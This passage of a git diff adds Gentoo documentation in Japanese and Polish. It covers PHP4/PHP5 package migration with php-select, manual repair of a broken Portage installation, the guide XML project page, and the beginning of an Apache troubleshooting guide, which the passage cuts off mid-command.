+<comment>(PHP5パッケージの確認)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-5*'</i>
+
+<comment>(PHP4向けの拡張機能の確認)</comment>
+<i>emerge --pretend --verbose dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(PHP5向けの拡張機能の確認)</comment>
+<i>emerge --pretend --verbose dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(PHPライブラリとアプリケーションの確認)</comment>
+<i>emerge --pretend --verbose PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+<p>
+すべてよければ、PHPをemergeします。
+</p>
+
+<pre caption="新しいパッケージをemergeする(例)">
+<comment>(PHP4パッケージをemergeする)</comment>
+<i>emerge '=dev-lang/php-4*'</i>
+
+<comment>(PHP5パッケージをemergeする)</comment>
+<i>emerge '=dev-lang/php-5*'</i>
+
+<comment>(PHP4向けの拡張機能をemergeする)</comment>
+<i>emerge dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(PHP5向けの拡張機能をemergeする)</comment>
+<i>emerge dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(PHPライブラリとアプリケーションをemergeする)</comment>
+<i>emerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>PHP4とPHP5を同時に使用する場合:cliとcgiバイナリでどちらを使用するか選択する</title>
+<body>
+
+<p>
+emergeの後、<path>/usr/lib/php4/bin</path>と/または<path>/usr/lib/php5/bin</path>に
+<c>cli</c>と/または<c>cgi</c>のバイナリがインストールされます。
+PHP4とPHP5を両方インストールする場合、Portageはユーザがどちらを標準として使用するか判断できないので、<path>/usr/bin</path>には、最後にインストールしたPHPのバージョンからシンボリックリンクが作成されます。
+このため最後にPHP5をインストールした場合、<path>/usr/bin/php</path>へのシンボリックリンクは、<path>/usr/lib/php5/bin/php</path>から作成されていることに気づくでしょう。
+(<c>phpize</c>と<c>php-config</c>を使用してPHPの拡張機能をビルドする責任がある)<c>php-devel</c>と同様に、ある<c>cli</c>と/または<c>cgi</c>バイナリは、(<path>/usr/bin</path>に)シンボリックリンクが作成されなければなりません。
+<c>app-admin/php-toolkit</c>で提供される<c>php-select</c>を使用することで、
+簡単に変更できます。
+</p>
+
+<note>
+<c>dev-lang/php</c>は、<c>app-admin/php-toolkit</c>に依存します。
+従って、<c>php-select</c>は、新しいスタイルのPHPパッケージをemergeした後に、
+自動的に利用可能になります。
+</note>
+
+<p>
+<c>=dev-lang/php-5*</c>と同様に<c>=dev-lang/php-4*</c>をemergeしていると仮定します。
+現在、選択されているPHPのバージョンを表示するために、以下で説明する<c>php-select</c>コマンドを入力してください。
+</p>
+
+<pre caption="現在の選択されているPHPバージョンを表示する">
+<comment>(cli向け)</comment>
+<i>php-select php</i>
+
+<comment>(cgi向け)</comment>
+<i>php-select php-cgi</i>
+
+<comment>(phpizeとphp-config向け)</comment>
+<i>php-select php-devel</i>
+</pre>
+
+<p>
+上記、実行結果の一例を示します。
+</p>
+
+<pre caption="php-selectの出力例">
+# <i>php-select php</i>
+/usr/bin/php is set to /usr/lib/php5/bin/php
+</pre>
+
+<p>
+この出力結果は、PHP cliバイナリの標準パスの<path>/usr/bin/php</path>が、
+PHP5のバイナリである<path>/usr/lib/php5/bin/php</path>にシンボリックリンクされていることを意味します。
+従って、<path>/usr/bin/php</path>を使用するPHPスクリプトは、PHP5で実行されます。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>標準のPHPを変更するためにphp-selectを使用する</title>
+<body>
+
+<p>
+前章で調査した標準のバージョンの設定で満足でない場合、
+希望するバージョンを選択するために、再び<c>php-select</c>を使用することができます。
+</p>
+
+<pre caption="希望するバージョンを選択する">
+<comment>(cliを設定する場合)</comment>
+<i>php-select php php4</i>
+
+<comment>(cgiを設定する場合)</comment>
+<i>php-select php-cgi php5</i>
+
+<comment>(phpizeとphp-configを設定する場合)</comment>
+<i>php-select php-devel php5</i>
+</pre>
+
+<note>
+<c>php-select</c>の機能についてもっと知りたい方は<c>php-select -h</c>とタイプしてください。
+</note>
+
+<p>
+リンクを確認する。
+</p>
+
+<pre caption="シンボリックリンクを確認する">
+ # <i>stat /usr/bin/php /usr/bin/php-cgi /usr/bin/phpize /usr/bin/php-config | grep File</i>
+ File: `/usr/bin/php' -> `/usr/lib/php4/bin/php'
+ File: `/usr/bin/php-cgi' -> `/usr/lib/php5/bin/php-cgi'
+ File: `/usr/bin/phpize' -> `/usr/lib/php5/bin/phpize'
+ File: `/usr/bin/php-config' -> `/usr/lib/php5/bin/php-config'
+</pre>
+
+<note>
+<c>php-select</c>は、標準のバージョンの変更しかできないことに注意してください。
+PHP4とPHP5のcgi/cliの両方ともインストールしている場合、
+特定のバージョンのPHPスクリプトを実行するために、
+<path>/usr/lib/php4/bin/php</path>や<path>/usr/lib/php5/bin/php</path>のように
+常に絶対パスで使用することができます。
+同じApacheのインスタンス上でPHP4とPHP5のcgiを使用できますが、2つの異なるApache用PHPモジュールを1つのApacheインスタンス上で使用できません。詳細は、<uri link="php4-php5-configuration.xml">
+PHP4 and PHP5 Configuration Guide</uri>を参照してください。
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>設定ファイルを移行する</title>
+<section>
+<body>
+
+<p>
+Gentoo PHPパッケージは、
+PHPバージョンごと、SAPIごとに1つのサブディレクトリを<path>/etc/php</path>に作成して、
+設定ファイルを保持します。
+</p>
+
+<pre caption="PHPの設定ディレクトリを一覧表示する">
+$ <i>ls -1 /etc/php</i>
+apache2-php4
+apache2-php5
+cli-php4
+cli-php5
+</pre>
+
+<p>
+すべてのサブディレクトリには、以前のパッケージのように、それ向けの<path>php.ini</path>が含まれています。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>php.iniの変更</title>
+<body>
+
+<p>
+<path>php.ini</path>の古い設定と新しい設定の差分を調べるために、
+<c>etc-update</c>、または<c>dispatch-conf</c>を使用すべきです。
+確実にチェックする必要がある2つのディレクティブは、
+<c>include_path</c>と<c>extension_dir</c>です。
+しかし、ここで注意してください。<c>extension_dir</c>は、PHPバージョン間(5.0と5.1でも!)で
+異なります。
+</p>
+
+<p>
+<path>/etc/php/apache2-php5/php.ini</path>と<path>/etc/php/cli-php5/php.ini</path>のPHP5.1の例を示します。
+</p>
+
+<pre caption="php.iniの古い設定">
+include_path = ".:/usr/lib/php"
+extension_dir = "/usr/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<pre caption="php.iniの新しい設定">
+include_path = ".:/usr/share/php"
+extension_dir = "/usr/lib/php5/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<warn>
+すべてのファイルで正しい設定をするため、必ず<c>etc-update</c>か、<c>dispatch-conf</c>を使用してください。
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>変更されたPHPの拡張機能の設定</title>
+<body>
+
+<p>
+新しいPHPパッケージは、外部(共有)PHP拡張機能用の設定ディレクティブを、もはや<path>php.ini</path>に保存しません。
+これらのディレクティブは、<path>/etc/php/*/ext</path>ディレクトリに拡張機能固有の設定ファイルで保持されます。
+共有拡張機能を有効/無効にするために、<path>/etc/php/*/ext-active</path>からシンボリックリンクを作成する仕組みが使われます。
+拡張機能を有効にする場合は、<path>/etc/php/*/ext-active</path>から
+<path>/etc/php/*/ext/</path>の中の、対応する<path>[EXTENSION].ini</path>へシンボリックリンクを作成します。
+拡張機能を無効にする場合は、シンボリックリンクを削除します。
+</p>
+
+<p>
+以前、<c>dev-php/PECL-apc</c>をインストールしていた場合は、APCの設定は、
+<path>php.ini</path>に保存されます。
+新しい<c>dev-php5/pecl-apc</c>パッケージを再emergeした場合は、
+APCの標準設定は、<path>/etc/php/*5/ext/apc.ini</path>に書き込まれます。
+</p>
+
+<p>
+APC設定ディレクティブを<path>/etc/php/*5/php.ini</path>から<path>/etc/php/*5/ext/apc.ini</path>へ移動させる必要があるので、
+<path>/etc/php/*5/ext-active/apc.ini</path>から<path>/etc/php/*5/ext/apc.ini</path>へシンボリックリンクを作成します。
+</p>
+
+<note>
+ApacheモジュールとしてPHPをインストールした場合は、
+インストールと設定の後にApacheを必ず再起動してください。
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PHP4と/またはPHP5が動作するようにApacheを設定する</title>
+<section>
+<body>
+
+<p>
+PHP4またはPHP5モジュール(mod_php)を読み込むように、Apacheを設定するには、
+<path>/etc/conf.d/apache2</path>の中の<c>APACHE2_OPTS</c>変数に、
+<c>-D PHP4</c>と<c>-D PHP5</c>をそれぞれ追加します。
+</p>
+
+<pre caption="mod_phpを読み込むようにApacheを設定する">
+<comment>(PHP4向けの設定)</comment>
+<i>APACHE2_OPTS="-D PHP4"</i>
+
+<comment>(PHP5向けの設定)</comment>
+<i>APACHE2_OPTS="-D PHP5"</i>
+</pre>
+
+<p>
+同時に2つのPHPバージョンをApache上で動作させる方法はたくさんあります。
+一番簡単な方法は、cgiバイナリとしてPHP4とPHP5を使用することと、
+PHP4はcgiでPHP5はモジュール(または、その反対)で使用することです。
+1つのApacheインスタンスで、PHP4モジュールとPHP5モジュールを使うことはできません。
+</p>
+
+<p>
+実現可能な手法のいくつかを、<uri link="php4-php5-configuration.xml">PHP4 and PHP5
+Configuration Guide</uri>の中で説明しています。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>サポート/手がかり</title>
+<section>
+<body>
+
+<p>
+新しいGentooのPHPパッケージで問題に直面している場合は、この章で何か手がかりを得ることができるでしょう。
+</p>
+
+<ul>
+  <li>
+    GentooでのPHPについては、<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/CommonQuestions">
+Common Questions</uri>を参照してください。
+  </li>
+  <li><uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay">Development-Page of the 
+PHP Overlay</uri>(訳注:PHPオーバーレイの開発ページ)</li>
+  <li>
+    irc.freenode.net上の#gentoo-phpチャンネル。ここには、オーバーレイを作り出す常連が頻繁に訪れます。お待ちしています!
+  </li>
+  <li>
+    <uri link="http://forums.gentoo.org/">Gentoo Forums</uri>は、ヘルプを求めるのに最適な場所です。とてもたくさんのGentooユーザが24時間フォーラムを読んでいます。
+    それゆえ、すぐにヘルプが得られるとても素敵な場所となっています。
+  </li>
+</ul>
+
+<p>
+新しいパッケージの実装の詳細については、<uri 
+link="http://article.gmane.org/gmane.linux.gentoo.devel/30050">Stuarts Posting 
+on gentoo-dev</uri> と<uri 
+link="http://stu.gnqs.org/diary/gentoo.php/2005/07/11/radical_changes_for_php5_support">
+'Radical Changes for PHP5 Support'</uri>で始まるStuartsのブログのエントリーを見てください。
+</p>
+
+<p>
+<uri 
+link="http://svn.gnqs.org/projects/gentoo-php-overlay">Development-Page</uri>では、
+たくさんのドキュメントと、後に公式のPortageツリーへ移行すると思われる一番新しいebuildを見つけることでしょう。
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ja/portage/doc/manually-fixing-portage.xml b/xml/htdocs/proj/ja/portage/doc/manually-fixing-portage.xml
new file mode 100644
index 00000000..9e89683f
--- /dev/null
+++ b/xml/htdocs/proj/ja/portage/doc/manually-fixing-portage.xml
@@ -0,0 +1,127 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/portage/doc/manually-fixing-portage.xml,v 1.1 2008/12/21 15:44:56 shindo Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/jp/portage/doc/manually-fixing-portage.xml" lang="ja">
+
+<title>壊れたportageを手動で修復する</title>
+
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="翻訳"><mail link="wsheep.chase@gmail.com">平櫛賢二</mail>
+</author>
+
+<abstract>
+このドキュメントは、sys-apps/portageが壊れた際に手動で修復する上で役立つことを目的にしています。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2007-05-31</date>
+<!-- Original revision: 1.12 -->
+
+<chapter>
+<title>portageを手動で修復する</title>
+<section>
+<title>目的</title>
+<body>
+
+<p>
+このセクションでは、<c>emerge sys-apps/portage</c>が実行できない場合に、portageを手動で更新・修復する方法を説明します。
+難しくはありませんが、それでも十分慎重に行う必要がありますので、以下のステップに正確に従って下さい(ただし必要ならば常識を適用して下さい)。
+</p>
+
+<note>以下の手順を自動化するスクリプトは<uri link="http://dev.gentoo.org/~genone/scripts/get_portage_back.sh">こちらから入手できます</uri>。
+</note>
+
+</body>
+</section>
+<section>
+<title>portageのtarballを入手する</title>
+<body>
+
+<p>
+最初のステップでは、portageの最新バージョンのtarballを入手します。以下の文章では例として<e>portage-2.1.1</e>を使います(これが執筆時点で最新の安定バージョンです)が、できればPortageツリーから入手可能なバージョンに置き換えて下さい。
+</p>
+<warn>
+もし現在インストールしているpythonのバージョンが2.4未満ならば(<c>python -V</c>で表示されます)、それと互換性のあるportageのバージョンを選択する必要があります。少なくともpython 2.3を使用しているなら、<e>portage-2.1.1.tar.bz2</e>を使って下さい。python 2.2ならば、<e>portage-2.0.51.22.tar.bz2</e>を使って下さい。
+
+</warn>
+
+<p>
+portageが動作しなくなってしまった理由にもよりますが、tarballを取得するのにportageが使える可能性が残っていますので、最初のステップとして<c>emerge --fetchonly sys-apps/portage</c>を実行して下さい。これがうまくいかない場合のみ、以下の手順でtarballを手動取得する必要があります。
+</p>
+
+<pre caption="wgetでportageのtarballを取得する">
+# <i>wget -P /usr/portage/distfiles http://distfiles.gentoo.org/distfiles/portage-2.1.1.tar.bz2</i>
+</pre>
+
+<p>
+以上の手順で、tarballが<path>/usr/portage/distfiles/portage-2.1.1.tar.bz2</path>として準備できます。
+</p>
+
+</body>
+</section>
+<section>
+<title>インストール済みのバージョンを置き換える</title>
+<body>
+
+<p>
+次のステップではtarballをどこか一時的な領域に展開しますが、例えばそれを<path>/root/portage-recover</path>とすると、コマンドは以下のようになります。
+</p>
+
+<pre caption="portageのtarballを展開する">
+# <i>cd /root</i>
+# <i>mkdir portage-recover</i>
+# <i>cd portage-recover</i>
+# <i>tar xfj /usr/portage/distfiles/portage-2.1.1.tar.bz2</i>
+</pre>
+
+<p>
+ここまで来ればあとは、現在インストールしているpythonとbashのファイルを、tarballのものと置き換えるだけです(ほとんどの場合はということですが)。そのためには以下を実行して下さい。
+</p>
+
+<pre caption="インストール済みのファイルを置き換える">
+# <i>cd /root/portage-recover/portage-2.1.1</i>
+# <i>cp -R pym bin /usr/lib/portage/</i>
+</pre>
+
+<p>
+GentooをFreeBSD上で使用しているのでなければ、sedラッパースクリプトを削除したほうが良いでしょう。このスクリプトは、必要ない上に古いバージョンのbashでは問題を引き起こすことで知られています。
+</p>
+
+<pre caption="sedラッパースクリプトを削除する">
+# <i>rm -f /usr/lib/portage/bin/sed</i>
+</pre>
+
+<note>
+portageを意図せず「unmerge」で削除してしまった場合や、もしくはそのほかの理由で<path>/etc/make.globals</path>がない場合は、<path>cnf/make.globals</path>も<path>/etc</path>にコピーして戻して下さい。これをしないと、portageがおかしな挙動を示すかもしれません。
+</note>
+<note>
+portageの以前のバージョンが2.1未満だった場合は、次のステップに進む前に<c>emerge --metadata</c>を実行して下さい。これは、バージョン2.1以降で使用されている新フォーマットにebuildのmetadataを変換する必要があるためです。portageの以前のバージョンが分からない場合でも、このコマンドを実行してしまって構いません。
+</note>
+
+<p>
+これで正常なportageが再びインストールできているはずです。しかしシステムを不整合の無い状態にするために、<c>emerge sys-apps/portage</c>をもう一度すぐに実行して下さい。
+</p>
+
+<p>
+<c>emerge</c>を実行しようとして、<e>command not found</e>というエラーメッセージを受け取った場合は、シンボリックリンクを再作成する必要があります。
+</p>
+
+<pre caption="emergeへのシンボリックリンクを再作成する">
+# <i>ln -s ../lib/portage/bin/emerge /usr/bin/emerge</i>
+</pre>
+
+<p>
+もし上記のステップでうまく行かなかった場合は、portageの破損ではなく、この文書の範疇を超えた他の問題と考えられます。<uri link="/proj/en/portage/doc/common-problems.xml">よくある問題の一覧</uri>を再度確認し、また<uri link="http://bugs.gentoo.org">bugzilla</uri>で問題が報告されていないか見てみて下さい。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/site.xml b/xml/htdocs/proj/ja/site.xml
new file mode 100644
index 00000000..ae817c3f
--- /dev/null
+++ b/xml/htdocs/proj/ja/site.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide type="project" link="site.xml">
+<title>XMLプロジェクトのページ</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="翻訳"><mail link="hagi@p1d.com">萩原佳明</mail></author>
+
+<abstract>
+このページでは、Gentoo LinuxのドキュメントとWebサイトで使用されている、
+「guide」XMLプロジェクトについての情報を提供します。
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+<!-- Original revision: 1.9 -->
+
+<chapter>
+<title>guide XML</title>
+
+<section>
+<body>
+
+<p>Gentoo Linuxチームでは、すべてのドキュメントやWebページに<c>guide
+XML</c>と呼ばれる、特製のシンプルなフォーマットのXMLを利用しています。もしこのフォーマットのことをもっと知りたいようなら、
+<uri link="http://www.ibm.com/developerworks">IBM developerWorks</uri>(<uri link="http://www-6.ibm.com/jp/developerworks/">日本語サイト</uri>)に掲載されている、
+Daniel Robbinsによる<e>A site reborn</e>(訳注：邦題「サイトを生き返らせる」)の一連の記事を読むと良いと思います:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-1.xml">第1回</uri>(訳注:<uri link="http://www-6.ibm.com/jp/developerworks/usability/010525/j_us-gentoo-index.html">IBM:developerworksの日本語版</uri>)では、Danielはユーザー中心のアクション・プランを作成し、<c>pytext</c>という組み込み型のPythonインタプリタについて紹介しています。
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-2.xml">第2回</uri>(訳注:<uri link="http://www-6.ibm.com/jp/developerworks/usability/010803/j_us-gent.html">IBM:developerworksの日本語版</uri>)では、Danielは新しいドキュメンテーション・システムである<c>guide XML</c>を大きく取り上げ、日々のCVSのログのメーリングリストのセットアップを行います。
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-3.xml">第3回</uri>(訳注:<uri link="http://www-6.ibm.com/jp/developerworks/usability/011012/j_us-gentoo3.html">IBM:developerworksの日本語版</uri>)では、Danielはサイト全体の新しい見栄えをデザインしてます。
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-4.xml">第4回</uri>(訳注:<uri link="http://www-6.ibm.com/jp/developerworks/usability/011109/j_us-gentoo4.html">IBM:developerworksの日本語版</uri>)では、DanielはXML/XSLTへの移行を完了し、Netscape 4系のブラウザに存在するもろもろの互換性の問題に対処するための調整を行い、自動作成されたChangelogのXMLをサイトに取り込んでいます。
+  </li>
+</ul>
+
+<p>
+<c>guide XML</c>の使い方については、<uri link="/doc/en/xml-guide.xml">Gentoo Linux Documentation
+Guide</uri>(<uri link="/doc/ja/xml-guide.xml">日本語版</uri>)でも説明しています。
+</p>
+
+<!--
+Webサイト作成に使用されるすべてのファイルのCVSスナップショットを含んでいる、
+最新版の全<c>guide XML</c>ツールは、
+以下のファイルを取ってくることでダウンロードできます: <uri
+link="/dyn/arch/guide-xml-latest.tar.gz">xml-guide-latest.tar.gz</uri>(訳注：ではなくて<uri link="/dyn/arch/xml-guide-latest.tar.gz">ここ</uri>です)。このtarボールはGentoo LinuxのWebサイトが更新されるたびに自動的に再生成されるので、
+いつでもcurrentの状態です。tarボールに含まれるファイルについての説明は、
+<uri link="/doc/en/xml-guide.xml">Gentoo Linux Documentation Guide</uri>(<uri link="/doc/ja/xml-guide.xml">日本語版</uri>)にあります(参考までに。
+このtarボールは私たちの<path>gentoo-src</path>のCVSモジュールにある<path>gentoo-web</path>ディレクトリのスナップショットを含んでいます)。
+-->
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/pl/apache/doc/troubleshooting.xml b/xml/htdocs/proj/pl/apache/doc/troubleshooting.xml
new file mode 100644
index 00000000..ca443576
--- /dev/null
+++ b/xml/htdocs/proj/pl/apache/doc/troubleshooting.xml
@@ -0,0 +1,459 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/apache/doc/troubleshooting.xml,v 1.1 2008/03/31 20:02:16 shadow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/apache/doc/troubleshooting.xml" lang="pl">
+<title>Troubleshooting Apache</title>
+
+<author title="Author">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Contributor">
+  <mail link="beu@gentoo.org">Elfyn McBratney</mail>
+</author>
+<author title="Contributor">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Contributor">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+<author title="Tłumacz">
+  Aleksander Kamil Modzelewski
+</author>
+
+<abstract>
+W tym dokumencie opisane zostało kilka sposobów znajdowania i rozwiązywania
+problemów z Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2007-11-29</date>
+
+<chapter>
+<title>Przeszukiwanie dziennika</title>
+<section>
+<body>
+
+<p>
+Jeżeli wiadomo, że instalacja Apache jest uszkodzona, ale nie wiadomo w jaki
+sposób, to szukanie błędów należy rozpocząć od przeglądania plików dziennika
+(logów).
+</p>
+
+<p>
+Apache zazwyczaj zakłada kilka takich plików i wszystkie znajdują się wewnątrz
+katalogu <path>/var/log/apache2/</path>. Niektóre z nich mogą na danym systemie
+nie istnieć - zależy to od zainstalowanych modułów.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>access_log i ssl_access_log</title>
+<body>
+
+<pre caption="access_log">
+67.185.0.236 - - [18/Jun/2005:12:05:50 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:11:07 -0700] "GET /~jaspenelle/__journal1.jpg HTTP/1.1" 200 19079
+66.239.233.163 - - [18/Jun/2005:12:15:06 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.0" 200 1661
+67.185.60.155 - - [18/Jun/2005:12:18:48 -0700] "GET / HTTP/1.0" 200 721
+67.185.0.236 - - [18/Jun/2005:12:25:39 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:28:04 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.1" 200 1661
+10.0.1.80 - - [18/Jun/2005:12:28:46 -0700] "GET /~jaspenelle/avy7.png HTTP/1.1" 200 13066
+</pre>
+
+<p>
+Zawartość tego pliku to lista wszystkich zapytań jakie otrzymał dany serwer. O
+ile domyślna konfiguracja nie została zmieniona, to będzie on zapisany w
+ogólnym formacie dziennika.
+</p>
+
+<pre caption="Składnia ogólnego formatu dziennika">
+remotehost rfc931 authuser [date] "request" status bytes
+</pre>
+
+<table>
+<tr>
+  <ti>remotehost</ti>
+  <ti>Nazwa zdalnego komputera lub jego numer IP</ti>
+</tr>
+<tr>
+  <ti>rfc931</ti>
+  <ti>Login użytkownika na zdalnym komputerze</ti>
+</tr>
+<tr>
+  <ti>authuser</ti>
+  <ti>Login jako który użytkownik się autoryzował</ti>
+</tr>
+<tr>
+  <ti>[date]</ti>
+  <ti>Data oraz czas zapytania</ti>
+</tr>
+<tr>
+  <ti>"request"</ti>
+  <ti>
+    Wiersz zapytania w dokładnie takiej formie, w jakiej przyszedł od
+    klienta
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Wartość statusu HTTP zwrócona do klienta</ti>
+</tr>
+<tr>
+  <ti>bytes</ti>
+  <ti>Długość przekazanego dokumentu</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>error_log i ssl_error_log</title>
+<body>
+
+<pre caption="error_log">
+[Mon Feb 07 23:33:18 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec2)
+[Mon Feb 07 23:33:18 2005] [notice] Digest: generating secret for digest authentication ...
+[Mon Feb 07 23:33:18 2005] [notice] Digest: done
+[Mon Feb 07 23:33:18 2005] [notice] Apache/2.0.52 (Gentoo/Linux) PHP/4.3.10 configured -- resuming normal operations
+[Sat Jun 18 13:01:54 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:14 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:18 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:21 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:24 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+</pre>
+
+<p>
+Jak widać, ten plik może zawierać bardzo wiele wpisów, zależnie od dyrektywy
+<c>ErrorLevel</c> w <path>httpd.conf</path>. Jest w nim zapisane czy Apache
+poprawnie wystartował, jakie wystąpiły błędy i tak dalej. W uproszczeniu
+zapisuje on wszystkie nietypowe sytuacje.  Jeżeli coś nie działa to właśnie ten
+plik powinno się sprawdzić najpierw.
+</p>
+
+</body>
+</section>
+<section>
+<title>suexec_log</title>
+<body>
+
+<pre caption="suexec_log">
+[2005-02-11 22:33:19]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:20:13]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:34:47]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+</pre>
+
+<p>
+Ten plik zawiera wpis dla każdego wykonania skryptu przy pomocy CGI oraz suexec.
+Jeżeli jakiś skrypt nie współpracuje z suexec to właśnie ten plik powinno się
+sprawdzić najpierw, gdyż zazwyczaj będzie on zawierał wiersz z wypisaną
+przyczyną, dla której odmówiono współpracy.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zainstalowany moduł nie działa!</title>
+<section>
+<body>
+
+<p>
+Samo zainstalowanie modułu nie wystarcza - musi on zostać wyraźnie włączony.
+Jest tak, aby łatwiej było włączać i wyłączać moduły, dzięki czemu łatwiej jest
+znaleźć te, które sprawiają problemy oraz łatwiej jest je testować oraz
+wyłączać.
+</p>
+
+<p>
+Kiedy moduł zostanie zainstalowany, powinien pojawić się komunikat podobny do
+tego:
+</p>
+
+<pre caption="Wiadomość po zainstalowaniu modułu">
+ *
+ * To enable mod_layout, you need to edit your /etc/conf.d/apache2 file and
+ * add '-D LAYOUT' to APACHE2_OPTS.
+ *
+ *
+ * Configuration file installed as
+ *     /etc/apache2/modules.d/15_mod_layout.conf
+ * You may want to edit it before turning the module on in /etc/conf.d/apache2
+ *
+</pre>
+
+<p>
+Opis ten mówi wprost co należy zrobić, aby uruchomić dany moduł.
+</p>
+
+<p>
+W razie braku wiadomości jest jeszcze inny sposób sprawdzenia, co należy dodać
+do <c>APACHE2_OPTS</c> w <path>/etc/conf.d/apache2</path>: sprawdzenie pliku
+konfiguracyjnego zainstalowanego przez moduł. Powinien on się znajdować w
+<path>/etc/apache2/modules.d/</path>. Należy w nim odnaleźć wiersz w którym
+znajduje się <c>IfDefine</c>:
+</p>
+
+<pre caption="Wyciąg z 15_mod_layout.conf">
+&lt;IfDefine LAYOUT&gt;
+  &lt;IfModule !mod_layout.c&gt;
+    LoadModule layout_module    modules/mod_layout.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+Blok <c>IfDefine</c> jest wykonywany kiedy doda się <c>-D LAYOUT</c> do
+<path>/etc/conf.d/apache2</path>. <c>LAYOUT</c> jest tylko przykładem.
+</p>
+
+<p>
+Kilka opcji które można dodać do <c>APACHE2_OPTS</c> jest zdefiniowanych w
+domyślnej konfiguracji. Ich szczegółowy opis można znaleźć w pliku
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+Dokumentacja wszystkich wbudowanych modułów znajduje się w <uri
+link="http://httpd.apache.org/docs/2.0/">dokumentacji Apache 2.0</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Apache zwraca tylko puste strony lub zwraca błąd "naruszenie ochrony pamięci" (segfault)</title>
+<section>
+<body>
+
+<p>
+Najczęściej dzieje się tak po aktualizacji, gdy złamana została binarna
+kompatybilnośćw APR (co może zdarzyć się z wielu przyczyn). Aby to naprawić
+konieczne będzie przebudowanie stosu narzędzi Apache:
+</p>
+
+<pre caption="Przebudowywanie stosu narzędzie Apache">
+<comment>(Koniecznie należy wykonać to w tej kolejności, to naprawdę ważne!)</comment>
+
+<comment>(Najpierw usuwamy istniejącego Apache)</comment>
+# <i>emerge -aCv '=www-servers/apache-2*'</i>
+
+<comment>(Następnie przebudowujemy stos narzędzi)</comment>
+# <i>emerge -av '=dev-libs/apr-0*' '=dev-libs/apr-util-0*'</i>
+
+<comment>(Następnie ponownie instalujemy Apache)</comment>
+# <i>emerge -av '=www-servers/apache-2*'</i>
+
+<comment>(Ustalamy, które pakiety polegają na Apache)</comment>
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
